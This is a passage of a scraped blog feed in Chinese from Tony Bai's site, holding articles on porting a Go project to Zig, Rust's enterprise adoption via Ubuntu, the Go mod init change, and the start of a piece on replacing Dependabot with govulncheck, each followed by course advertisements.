href=\"https://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy\"\u003ehttps://tonybai.com/2026/02/27/go-mod-init-controversy-elitism-vs-democracy\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e仅仅在 \u003ca href=\"https://tonybai.com/2026/02/14/some-changes-in-go-1-26/\"\u003eGo 1.26 正式发布\u003c/a\u003e几周后，一场席卷 Go 社区的风暴迎来了戏剧性的转折。面对广大开发者对 go mod init 默认降级为 1.(N-1) 的\u003ca href=\"https://tonybai.com/2026/02/22/go-1-26-go-mod-init-downgrade-collision-review/\"\u003e强烈不满\u003c/a\u003e，Go 核心团队技术负责人 Austin Clements（aclements）亲自下场“灭火”，并明确表示：\u003cstrong\u003e官方正倾向于撤回这一改动，恢复 1.N 的默认行为。\u003c/strong\u003e\u003c/p\u003e","title":"Go mod init 降级撤回背后：精英主义正在杀死 Go 社区的民主？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer\n大家好，我是Tony Bai。\n在当前的后端与系统级编程领域，开发者似乎总是面临着一种“非此即彼”的艰难抉择：要么选择 Go 语言，拥抱其极致的极简主义、高效的并发模型和无处不在的垃圾回收（GC），但往往需要在底层内存控制上做出妥协；要么投向 Rust 的怀抱，追求绝对的内存安全和零成本抽象，却不得不常年与“借用检查器（Borrow Checker）”搏斗，忍受陡峭得令人绝望的学习曲线。\n然而，在这两大巨头的光环之外，一门名为 Zig 的语言正在悄然崛起。它没有隐式的控制流，没有隐藏的内存分配，甚至没有预处理器和宏，却提供了无与伦比的 C 语言互操作性和强大的编译期计算能力。近日，在Reddit技术社区 r/Zig 上，一位资深 Go 开发者分享了他将一个核心项目从 Go 迁移到即将发布的 Zig 0.16 版本的全过程。他的经历既是一次跨越语言壁垒的技术冒险，更为我们揭示了一个深刻的问题：在拒绝了 Rust 的复杂、看透了 Go 的局限之后，Zig 会是我们苦苦寻找的那个系统级编程的最终答案吗？\n在本文中，我们将跟随这位开发者的脚步，深度剖析这次从 Go 到 Zig 的“系统级”降维打击，探讨内存管理、并发演进以及新兴语言的生态阵痛。\n语言选择的罗曼史：为什么是 Zig？ 对于任何一位有着丰富经验的开发者来说，选择一门新的编程语言绝非心血来潮。在这位开发者长长的技术履历中，我们看到了一条清晰的“硬核化”演进路线：Python -\u0026gt; Rust -\u0026gt; Go -\u0026gt; Odin -\u0026gt; Zig。\n这条路线背后，折射出的是当代开发者对“开发效率”与“系统控制力”双重渴望的矛盾与挣扎：\n逃离 Python 的脆弱：动态类型的 Python 常常伴随着难以预料的运行时错误，加上令人抓狂的虚拟环境（venv/pip）管理，促使他开始向底层探索。 被 Rust 劝退的恐惧：开发者坦言，“Rust 是我尝试过的最复杂的语言”。尽管他勉强写出了 Rust 代码，但他自知那是“糟糕的 Rust”。面对陡峭的学习曲线和心智负担，他的结论异常真实：“Rust 可能很容易学，但我不想再哭一次了（don’t want to cry again）”。 Go 语言的温柔乡：在众多高级语言中，Go 成了他最钟爱的归宿。他将 Go 评价为“最低级别的高级语言（lowest of the high level languages）”。对于 Web 服务和后端开发，Go 的极简语法、成熟的生态和开箱即用的特性，使其成为默认的终极选择。他甚至感慨：“我真希望我一开始就是用 Go 学编程的。” Odin 的中道崩殂：在追求比 Go 更底层的控制力时，他曾短暂尝试过 Odin（一门常与 Zig 齐名的面向数据设计的系统级语言）。Odin 在语法上介于 Go 和 Zig 之间，看似完美的平衡却被糟糕的工具链打破。频繁崩溃的 LSP（Language Server Protocol）、不完善的文档以及诡异的编译器指令，最终将他推开了。 情定 Zig：最终，Zig 成为了他的驻足之地。Zig 既提供了不输于 C 语言的底层掌控力，又通过创新的语法和工具链，避开了 Rust 复杂的生命周期管理。 从中我们也可以看出当下系统级编程领域的一道缩影：开发者们渴望获得底层控制权，但不想为此付出丧失开发体验的代价。\n移植实战：从 1 周到 2 个月的“阵痛与重塑” 纸上得来终觉浅。这位开发者决定动真格：将一个由 Go 编写的基于内存互斥锁（Mutex）的键值对存储（Key/Value Store）及配套的通道预写日志（channel WAL）项目，完整地移植到 Zig 0.16 中（包括使用 LZ4 压缩和导出 Parquet 格式的功能）。\n原计划只需要 1 周的迁移工作，最终演变成了一场长达 1.5 到 2 个月的持久战。为什么会这么耗时？\n代码规模与表达力：意外的对等 令人惊讶的是，尽管 Zig 需要手动管理内存，但迁移后的代码量（约 750 行）与原先的 Go 代码几乎持平。开发者指出，虽然 Zig 的代码在视觉上“更宽”（得益于其极其丰富的表达能力），但行数并没有膨胀。这归功于 Zig 中 Unions（联合体）、Enums（枚举）、Errors（错误处理）和 Structs（结构体）的完美组合。\n拥抱 Comptime：降维打击的“超能力” 在 Go 语言中，泛型（Generics）直到 1.18 版本才姗姗来迟，且其能力受到诸多限制。而在 Zig 中，开发者体验到了真正的震撼——Comptime（编译期执行）。\n他将处理结构体类型的泛型能力称为“疯狂的超能力”。在编译期间执行任意 Zig 代码的能力，使得开发者能够以极低的运行时开销，实现高度动态和灵活的类型处理。这种对类型的编译期反射和操作，是 Go 语言开发者难以想象的体验。\n代码组织方式的颠覆 Go 语言习惯于将不同的接口、结构体分散在多个文件中，利用包（Package）级别来进行组织。但在 Zig 中，开发者发现了一种全新的心智模型：将所有想法放入一个文件中，并通过结构体（Struct）进行分组。当代码在编辑器中折叠后，这种高度内聚的设计显得极其清晰且易于导航。\n内存管理的洗礼：脱离 GC 后的生存法则 从自带垃圾回收（GC）的 Go 语言跨越到需要显式传递分配器（Allocator）的 Zig，是此次移植中最痛苦，也是收获最大的部分。\n没有了 Go 运行时的庇护，开发者必须直面内存的生与死。在经历了无数次内存泄漏后，他总结出了针对 Go 开发者转战 Zig 的七条黄金生存法则：\n返回内存的函数，必须接收 Allocator：在 Go 中，函数可以随意返回指针或切片，GC 会负责善后。在 Zig 中，任何产生新内存分配的函数，其签名中必须显式包含一个 Allocator 参数。\n严格区分不可变与可变：[]const u8 表示你绝不会修改这块内存（只读切片），而 []u8 则意味着你承诺你会去修改这块内存。这种显式的意图声明，在 Go 的 []byte 中是缺失的，Go 开发者往往需要通过文档或约定来判断切片是否会被修改。而在 Zig 中，类型系统替你守住了这道防线。\n所有权与复制 (allocator.dupe)：在 Go 中，传递指针或切片非常廉价，垃圾回收器（GC）会处理共享引用的生命周期。但在 Zig 中，如果你需要保留传入的数据并在函数返回后继续使用，你必须使用 allocator.dupe 进行深拷贝。\n内存分配失败是常态：任何分配都可能失败。在 Zig 中，这意味着你必须处理 Error Union。而在 Go 中，make 或 new 失败通常意味着程序崩溃（panic），大多数业务代码从不处理 OOM（内存溢出）。\n测试即救赎 (std.testing.allocator)：“不写测试，就等着受苦”。Zig 的标准库测试运行器内置了内存泄漏检测功能。使用 std.testing.allocator 运行测试，如果你的代码有泄漏，测试会直接失败并报告。这对于习惯了“分配后即遗忘”的 Go 开发者来说，简直是当头棒喝，但也是养成良好习惯的最佳工具。\n源码即文档：遇到疑问时，直接读标准库源码 (std)。Go 的标准库以清晰著称，但 Zig 的标准库源码同样展示了惊人的可读性。由于没有隐藏的控制流和宏，你看到的即是实际发生的。\n并发模型之争：Goroutine 的舒适区 vs Zig 的显式控制 Go 语言最大的护城河无疑是 Goroutine 和 Channel。这种 CSP（通信顺序进程）模型的极简实现，让并发编程变得唾手可得。然而，当这位开发者试图在 Zig 中复刻这一模式时，遭遇了不小的挑战。\n误用 std.Thread 的代价 在移植过程中，他试图使用 Zig 的 std.Thread 配合 std.Thread.RwLock 来模拟 Go 的并发模式。然而，一位社区专家指出，这种做法在 Zig 的异步 I/O 体系下是危险且低效的。\nZig 的并发哲学与 Go 不同。Go 将同步（阻塞）代码在运行时自动调度到异步执行，而 Zig 则提供了显式的 async/await（注：Zig 的异步机制在不同版本间变动较大，0.16 预览版中正在重构）和基于事件循环的 IO 模型。\nio.Queue 与 Channel 的缺失 为了实现类似 Go Channel 的功能，开发者不得不自己实现了一套基于 Mutex 的通知机制，或者使用第三方库。他坦言：“我不仅想念 Go 的 GC，也想念它的 Channel。”\n虽然 Zig 提供了强大的底层原语，但在构建像 Go 那样开箱即用的高并发 Web 服务时，Zig 目前仍缺乏统一且成熟的标准范式（Standard Pattern）。对于习惯了 go func() 的开发者来说，这需要巨大的心智转换。\n工具链与生态的阵痛：先行者的代价 如果你已经被 Zig 的性能和控制力打动，那么接下来的内容可能是你需要冷静思考的“劝退”环节。\n版本的混沌：0.15 vs 0.16 Zig 尚未发布 1.0 版本，这意味着破坏性更新（Breaking Changes）是家常便饭。该开发者在尝试迁移到 Zig 0.16（开发版）时，遇到了 ZLS（Zig Language Server）的版本兼容性问题。编辑器报错、高亮失效、自动补全崩溃，这些在 Go 这种成熟语言中几乎不存在的问题，在 Zig 的日常开发中却是必须忍受的噪音。\n文档的匮乏 “当有疑问时，请检查 Zig 的内置函数（Builtin functions），那里有很多东西。”这句话的潜台词是：不要指望有详尽的官方文档网站。与 Go 丰富且结构化的 pkg.go.dev 相比，Zig 目前更多依赖于阅读源码和社区碎片化的教程。对于习惯了 StackOverflow 复制粘贴的开发者，这无疑是一个巨大的门槛。\n“Segmentation Fault” 的回归 正如社区评论所言：“你必须爱上 Segfaults（段错误）。”\nGo 语言的运行时捕获了绝大多数底层错误，将其转化为 Panic。而在 Zig 中，尽管有安全模式（ReleaseSafe），但在处理底层指针操作时，你依然可能遇到这一古老的梦魇。开发者回忆道：“我在 2008 年写 C 语言时经常遇到这些，现在我必须重新学会如何调试它们。”\n小结：Go 依然是王者，但 Zig 代表了未来？ 回到最初的问题：Zig 会是系统级编程的最终答案吗？\n通过这次深刻的迁移实战，我们可以得出以下结论：\nGo 的地位难以撼动：对于绝大多数 Web 后端、微服务和云原生应用，Go 依然是“性价比之王”。它在开发效率、运行时性能和维护成本之间找到了完美的平衡点。正如作者所说，“Go 是最高级语言中的最底层”，这个定位极其精准。 Rust 并非唯一解：对于那些需要更高性能、更低内存占用，却被 Rust 陡峭的学习曲线和复杂的借用检查器劝退的开发者，Zig 提供了一个极具吸引力的第三选项。它证明了不引入复杂的生命周期注解，依然可以写出安全且高效的系统级代码。 Zig 的甜点区：如果你的项目涉及大量的内存密集型操作、需要极致的启动速度、或者需要与 C 库进行深度交互，Zig 可能比 Go 更合适，也比 Rust 更易上手。 给 Go 开发者的建议：\n如果你仅仅是对 Go 的某些性能瓶颈感到不满，不妨先通过 FFI 调用 Zig 编写的库来解决关键路径的性能问题，而不是全面重写。Zig 极其优秀的 C 互操作性，使其成为 Go 语言的最佳“外挂”。\n随着 Zig 0.16 及后续版本的发布，特别是异步 IO 模型和包管理器的成熟，我们有理由相信，Zig 将在系统编程领域占据一席之地。它不会取代 Go，但它可能会成为那些追求极致掌控力的极客们手中的那把“光剑”。\n资料链接：https://www.reddit.com/r/Zig/comments/1rd0fsz/thoughts_after_porting_a_project_from_go_to_zig/\n聊聊你的选择\n你会因为 Go 的 GC 开销而考虑尝试 Zig 吗？还是你宁愿忍受 Rust 的编译器也不愿自己管理内存？欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rust-complexity-go-minimalism-vs-zig-ultimate-answer-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer\"\u003ehttps://tonybai.com/2026/02/26/rust-complexity-go-minimalism-vs-zig-ultimate-answer\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在当前的后端与系统级编程领域，开发者似乎总是面临着一种“非此即彼”的艰难抉择：要么选择 Go 语言，拥抱其极致的\u003ca href=\"https://tonybai.com/2026/01/17/go-rust-zig-simplicity-vs-control/\"\u003e极简主义\u003c/a\u003e、高效的\u003ca href=\"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzIyNzM0MDk0Mg==\u0026amp;action=getalbum\u0026amp;album_id=4105816518230016005#wechat_redirect\"\u003e并发模型\u003c/a\u003e和无处不在的\u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc\"\u003e垃圾回收（GC）\u003c/a\u003e，但往往需要在底层内存控制上做出妥协；要么投向 Rust 的怀抱，追求绝对的内存安全和零成本抽象，却不得不常年与“借用检查器（Borrow Checker）”搏斗，忍受陡峭得令人绝望的学习曲线。\u003c/p\u003e","title":"拒绝 Rust 的复杂，跨越 Go 的极简：Zig 会是系统级编程的最终答案吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace\n大家好，我是Tony Bai。\n在技术世界里，一门编程语言的成功往往分为两个阶段：第一阶段是赢得“极客”和“先驱者”的狂热追捧；第二阶段则是说服那些保守、务实的“早期大众”将其投入到枯燥却庞大的企业级生产中。这两个阶段之间，横亘着一条深不见底的“鸿沟”。\n2026 年初，Rust 核心团队成员、语言设计的灵魂人物 Niko Matsakis 在参加完 Rust Nation 大会后，发表了一篇引人深思的文章——《What it means that Ubuntu is using Rust》。在这篇随笔中，Niko 借由 Canonical（Ubuntu 的母公司）全面拥抱 Rust 这一标志性事件，极其坦诚地剖析了 Rust 当前在行业接纳生命周期中所处的位置、面临的阵痛，以及为了走向真正的“工业标准”，Rust 社区必须在技术和心理上做出的巨大改变。\n本文将深度解读 Niko 的这篇文章，带你透视 Rust 在“后狂热时代”的商业化演进路线、标准库之争、开源商业模式，以及为何“同理心”成了这门硬核语言最大的护城河。\n无处不在的“鸿沟”——Rust 到底走到哪了？ 如果你熟悉硅谷营销大师杰弗里·摩尔（Geoffrey Moore）的经典理论《跨越鸿沟》（Crossing the Chasm），就会知道任何一项高科技产品在市场推广时，都会经历创新者（Innovators）、早期采用者（Early Adopters）、早期大众（Early Majority）、后期大众（Late Majority）和落后者（Laggards）五个阶段。而在“早期采用者”与“早期大众”之间，存在着一个巨大的断层，这就是“鸿沟”。\nRust 跨过这条鸿沟了吗？\nNiko 给出的答案是：这取决于你问的是谁。\n在某些互联网巨头（大厂）中：答案是“已经跨越了一大半”。比如在亚马逊云（AWS）这样对性能和资源有着极致苛求的地方，Rust 已经被牢牢确立为构建大规模数据平面（Data Planes）和资源感知代理（Agents）的“正确选择”。它甚至正在向设备端和机器人领域的底层代码渗透。 在普通企业应用中：依然存在一种根深蒂固的刻板印象——“Rust 是给 S3（亚马逊云存储）那些穿西装打领带的高级工程师用的，对于我们普通的 CRUD（增删改查）业务来说，完全是杀鸡用牛刀。” 在安全关键软件（Safety Critical Software）领域：比如汽车的转向柱控制系统或航空航天系统，Rust 依然在艰难地寻找立足点。大多数传统工业巨头仍处于“观望”状态，他们希望让早期采用者先去铺路、踩坑。 这揭示了一个残酷的现实：技术上的优越性并不等同于市场上的普遍接受度。\n当技术走向“早期大众”时，受众的心态发生了根本性变化。\n早期采用者买的是“变革”，他们愿意容忍不成熟的生态，只为获得降维打击的竞争优势；而“早期大众”买的是“生产力提升”，他们极度厌恶风险，追求的是业务连续性——他们想要的是进化，而不是革命。\n寻找“标杆客户”——Ubuntu 搭建的跨越之桥 如何说服那些极度厌恶风险的“早期大众”尝试新事物？唯一的答案是：让他们看到与他们相似的成功案例。\n这就是为什么 Canonical（Ubuntu 背后的公司）的入局对 Rust 生态具有决定性的历史意义。在 Rust Nation 大会上，Canonical 的工程副总裁 Jon Seager 发表了题为《在 Ubuntu 中大规模采用 Rust》的闭幕演讲。这场演讲完美诠释了什么是“既有远见，又极其务实”。\nCanonical 明确表示，他们已将公司内部开发的语言收敛为一个极小的集合：Python、C/C++ 和 Go。\n而现在，Rust 被正式引入，并被确立为编写新底层基础工具的首选语言，逐步取代 C、C++ 以及部分 Python 的使用场景。\n更令人振奋的是，Canonical 不仅仅是自己“用”，他们还在“反哺”生态，充当桥梁。\nJon Seager 谈到了 Ubuntu 作为操作系统发行版的责任——通过支持内存安全的基础设施库来“向前支付（Pay it forward）”。Canonical 正在提供财务和声誉上的双重支持：\n赞助 Trifecta Tech 基金会开发 sudo-rs 和 ntpd-rs（用 Rust 重写关键的系统组件）。\n赞助 uutils 组织开发 Rust 版的 coreutils（Linux 核心命令集）。\n为什么说 Ubuntu 是完美的“标杆客户”？\n在 Linux 用户态领域，Ubuntu 的体量和权威性毋庸置疑。当 Ubuntu 愿意承担尝试新事物的风险，并证明“用 Rust 重写 sudo 是可行的且更安全的”时，这种示范效应是巨大的。\n那些“早期大众”企业看到这一幕时会想：“如果连 Ubuntu 这样对稳定性要求极其变态的操作系统底层都在用 Rust，那我们的业务系统用 Rust 应该也是安全的。”\n这正是《跨越鸿沟》中破局的核心策略：利用标杆客户的背书，提供能无缝融入现有工作流的“即插即用”方案，从而最小化系统的不连续性。\n成长的阵痛——为了壮大，Rust 必须改变“人设” 当目标受众从追求极致的“极客”变成追求稳定的“务实派”时，Rust 面临着一种极其尴尬的转型痛点。\nNiko 在文中引用了《跨越鸿沟》里的一段话：\n“在任何两个采用群体之间的过渡通常都是极度令人尴尬的，因为你必须在你对旧策略感到最舒服的时候采用新策略……当务实派想听到‘行业标准（Industry Standard）’时，科技公司可能还在向他们推销‘最先进的技术（State-of-the-art）’。”\n这精准地命中了 Rust 当下的软肋。\n在过去的十年里，Rust 社区的营销口号是“零成本抽象”、“无畏并发”、“最先进的内存安全所有权模型”。这套说辞成功吸引了早期的系统工程师。\n但如今，当 Rust 走向大众时，普通开发者更关心的是：“有没有现成的库？”、“编译能不能快点？”和“能不能开箱即用？”\n核心冲突爆发点：标准库的规模之争。\n在闭门晚宴上，Canonical 的 Jon Seager 提出了一个极具挑衅性的观点：Rust 需要重新审视其维持“极小标准库（Small Standard Library）”的政策。\n长期以来，Rust 奉行“标准库只包含最核心的类型和原语，其余全部交给社区（Crates.io）”的哲学。比如，Rust 的标准库里甚至没有随机数生成、正则表达式或 HTTP 客户端。这种设计在早期非常受极客欢迎，因为它保证了核心库的轻量级，并允许社区自由竞争出最好的第三方库（如 serde、tokio）。\n但对于“早期大众”来说，这简直是个噩梦。他们不明白为什么解析一个 JSON 或发起一个 HTTP 请求都需要在数以万计的第三方包中去筛选、评估安全性、担心供应链投毒。他们想要的是像 Go 语言或 Python 那样“内置电池（Batteries Included）”的开箱即用体验。\n实际上，Rust 社区在 2016 年曾推出过一个名为“Rust 平台（Rust Platform）”的提案，试图官方“钦定”一批高质量的第三方包作为“扩展标准库”。但当时遭到了早期采用者的强烈抵制，理由是“直接改 Cargo.toml 很容易，没必要官方下场干预”。\nNiko 反思道：当年早期采用者讨厌的东西，恰恰可能是如今“早期大众”最渴望的东西。\nRust 必须面对现实：过去引导其成功的信条，正在阻碍其向更广阔的市场迈进。\nNiko 透露，他正在构思一个名为“电池包（Battery packs）”的新项目，试图在不搞庞大标准库的前提下，为企业级用户提供一种官方背书的、开箱即用的库集合方案。这标志着 Rust 正在从“追求它能成为什么样（What it could be）”向“承认它实际是什么样（What it actually is）”的务实转变。\n商业与开源的闭环——如何将“采用率”转化为“真金白银”？ 任何一门编程语言生态的长远发展，都离不开雄厚的资金支持。随着 Rust 采用率的爆炸式增长，对 Rust 开源项目和生态系统的维护压力也与日俱增。钱从哪来？\nNiko 分享了几个关于开源投资的深刻洞见，这不仅适用于 Rust，对所有开源项目（包括 Go、Node.js 生态）都有极大的启发。\n洞见一：投资不一定只是“砸钱”，更是“下场共建”。\n对于像 Canonical 这样的纯粹开源组织，最宝贵的投资是“建立深度的组织间关系”。\n在“Rust for Linux”项目中，早期都是 Rust 核心维护者在帮 Linux 内核开发者修 Bug。但随着时间推移，现在越来越多的 Linux 内核开发者开始自己动手修复 Rust 编译器或工具链的问题，而 Rust 维护者则退居幕后扮演导师的角色。这种“授人以渔”的贡献，比单纯的捐款更有价值。\n洞见二：钱往往在公司“采用 Rust 之前”到来，而不是之后。\n我们通常认为，企业是在大量使用某个开源软件后，出于反哺或维护自身利益的目的才会掏钱赞助。\n但 Niko 观察到了一个完全不同的趋势：更容易获取的资金，来自于那些“正在考虑但尚未采用” Rust 的公司。\n在这些公司内部，通常有一批“早期采用者”（内推者），他们试图说服保守的公司管理层采用 Rust。为了促成此事，他们往往需要拿着一份“准入条件清单”——比如，Rust 必须支持某种特定的芯片架构，或者必须具备某个安全认证组件。\n更关键的是，这些内推者手里往往握有预算。为了让这门技术顺利落地公司，他们愿意花钱去填补 Rust 生态中的这些空白。\nRust 基金会的 Alexandru Radovici 证实了这一点：许多对安全性要求极高的公司，手里攥着钱想帮 Rust 补齐短板，却“不知道该怎么花这笔钱”。Canonical 赞助 sudo-rs 本质上也是一样的——他们是在花钱扫除阻碍 Ubuntu 更大规模采用 Rust 的障碍。\n开源社区需要建立一种机制，精准对接这些带着预算的“潜在采用者”，将他们的痛点转化为开源项目的开发资金。\n社区的终极考验——同理心是最大的护城河 在文章的最后，Niko 抛出了一个直击灵魂的观点，这不仅是给 Rust 社区的警钟，也是所有程序员的必修课：\n“如果我们在其中表现得太像‘中学生（Middle School）’，那开源跨越鸿沟的愿景就会彻底破灭。”\n什么是“中学生”行为？\n当你深度参与一个开源社区时，你会觉得这里充满阳光，欢迎所有人。但对于外部的“早期大众”来说，开源社区往往看起来像一个充满小圈子、潜规则和“口口相传的规矩（Oral traditions）”的排外组织。\n一个企业级的保守开发者，带着一个务实的业务问题来到社区提问。他可能只是用错了一个术语，或者没有遵循某种隐形的“社区政治正确”，结果就遭到了一群激进贡献者的群嘲、冷嘲热讽，甚至因为提出不同的设计理念而被强硬关闭 Issue。\n这位企业开发者根本分不清哪些是喷子，哪些代表官方立场。他只会觉得：“这个语言的社区太有毒了，我们公司还是用 Java 吧。”\n只需要一次粗鲁的回复，就能彻底赶走一个潜在的企业级标杆客户。\nNiko 强调，帮助 Rust 最终取得成功的，绝不是更快的编译速度或更完美的类型系统，而是“开源中的同理心”。\n“早期大众”并不想参与编程语言的“宗教战争”，他们不关心“纯粹性”，他们只是想按时下班，安全地把产品发布出去。Rust 社区必须学会倾听这群人的声音，理解他们的价值观，用温和、包容和同理心去服务他们，而不是用技术傲慢去居高临下地教训他们。\n小结：语言的进化，更是心智的成熟 从 2015 年发布 1.0 版本至今，Rust 用了十余年的时间，证明了自己在技术和理论上的卓越。如今，借由 Ubuntu 这样的重磅标杆客户的背书，它正式站在了跨越主流企业级市场鸿沟的跳板上。\nNiko Matsakis 的这篇文章，不仅是对 Rust 现状的一份清醒诊断，更是对整个技术生态演进规律的深刻洞察，也非常值得其他主流编程语言的掌舵者和社区学习借鉴。\n无论是标准库的扩展、商业投资机制的完善，还是社区同理心的建设，都表明 Rust 正在经历一场脱胎换骨的“成年礼”。它正在从一个由极客驱动的“炫酷玩具”，蜕变为一个能够承载人类核心数字基础设施的“工业巨兽”。\n也许属于 Rust 的激荡时代，才刚刚开始。\n资料链接：https://smallcultfollowing.com/babysteps/blog/2026/02/23/ubuntu-rustnation/\n你认为 Rust 该“扩充”标准库吗？\nRust 坚持“极小标准库”让极客疯狂，却让企业用户头大。你是支持 Go 这种“内置电池”的开箱即用，还是支持 Rust 这种“社区竞争”的极简主义？你在项目中是否也曾因为 Rust 缺乏某个基础库（如随机数、正则）而感到沮丧？\n欢迎在评论区分享你的看法！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/rust-crossing-the-chasm-ubuntu-embrace-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace\"\u003ehttps://tonybai.com/2026/02/25/rust-crossing-the-chasm-ubuntu-embrace\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在技术世界里，一门编程语言的成功往往分为两个阶段：第一阶段是赢得“极客”和“先驱者”的狂热追捧；第二阶段则是说服那些保守、务实的“早期大众”将其投入到枯燥却庞大的企业级生产中。这两个阶段之间，横亘着一条深不见底的“鸿沟”。\u003c/p\u003e","title":"Rust 的“跨越鸿沟”时刻：Ubuntu 全面拥抱 Rust 意味着什么？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/25/govulncheck-high-signal-to-noise-ratio-security-workflow\n大家好，我是Tony Bai。\n在当今的软件开发流程中，持续集成/持续部署（CI/CD）和自动化的安全左移（Shift Left）已经成为行业共识。在这个大背景下，诸如 GitHub Dependabot 这样的自动化依赖更新工具应运而生，并迅速占据了几乎每一个开源项目和商业级代码库的 Repository 设置。它们不知疲倦地扫描 go.mod，一旦发现有依赖项爆出 CVE 漏洞，就会自动生成一个拉取请求（Pull Request, PR），仿佛是在告诉你：“别担心，我已经帮你修好了。”\n然而，事实真的如此美好吗？\n近日，密码学领域的权威专家、前 Google Go 安全团队负责人 Filippo Valsorda 在其个人博客上发表了一篇极具冲击力的文章，标题直截了当：“TURN DEPENDABOT OFF”（关掉 Dependabot）。他毫不客气地指出，这款被无数开发者信赖的工具，实际上是一个“噪音制造机”（Noise Machine）。它不仅浪费了开发者的宝贵精力，更在无形中损害了整个 Go 生态系统的安全根基。\n作为 Go 开发者，我们该如何审视这种看似“政治正确”的安全自动化工具？如果不使用 Dependabot，我们又该如何保卫代码库的安全？本文将深度剖析 Filippo 的核心观点，揭示传统版本比对扫描的致命缺陷，并手把手教你如何利用官方推荐的 govulncheck 构建真正高效、高信噪比的现代化 Go 安全扫描工作流。\n安全自动化的幻象与“告警疲劳” 为了理解 Filippo 为什么如此强烈地反对 Dependabot 这种类型的扫描工具，我们需要先剖析软件工程心理学中的一个经典问题：告警疲劳（Alert Fatigue）。\n什么是告警疲劳？ 告警疲劳是指操作人员或开发人员在长时间暴露于频繁且大量低价值（即假阳性、False Positives）的系统警告下，逐渐变得对这些警告麻木、脱敏的现象。\n在医疗领域，如果重症监护室的心电监护仪总是因为轻微干扰而发出刺耳的警报声，护士最终可能会忽略真正的病危信号；在网络安全领域，如果防火墙每天产生一万条拦截记录，安全分析师就不可能从中挑出那一条真正的 APT 高级持续性威胁。\n图：Dependabot alerts 在软件开发中，Dependabot 完美地扮演了那个“总是狼来了”的角色。它带来的不是安全感，而是一种虚假的工作充实感。正如 Filippo 所言：“它让你感觉自己好像在做有用的工作，但实际上你是在阻碍真正有用的工作。”\n传统版本扫描的致命缺陷：一刀切的模块级匹配 Dependabot 和大多数传统的软件成分分析（SCA）工具一样，其工作原理极其简单粗暴，可以概括为基于版本的字符串比对。\n以 Go 语言为例，它们的逻辑是这样的：\n解析你的 go.mod 和 go.sum 文件，列出你所使用的所有依赖模块（Module）及其版本（如 github.com/foo/bar v1.0.0）。\n查询公共漏洞数据库（如 NVD）。\n如果数据库显示 github.com/foo/bar 在 \u0026lt; v1.2.0 时存在某个漏洞，且你的版本在这个范围内，立刻生成一个高危告警，并创建一个将版本升级到 v1.2.0 的 PR。\n在某些动态类型语言（如 Ruby 或早期 JavaScript）生态中，这种方法或许是唯一可行的。但在 Go 语言这样强调静态类型、拥有明确抽象边界和包级结构的生态中，这种“模块级”的一刀切匹配就显得极其愚蠢和低效。\n真实案例分析：edwards25519 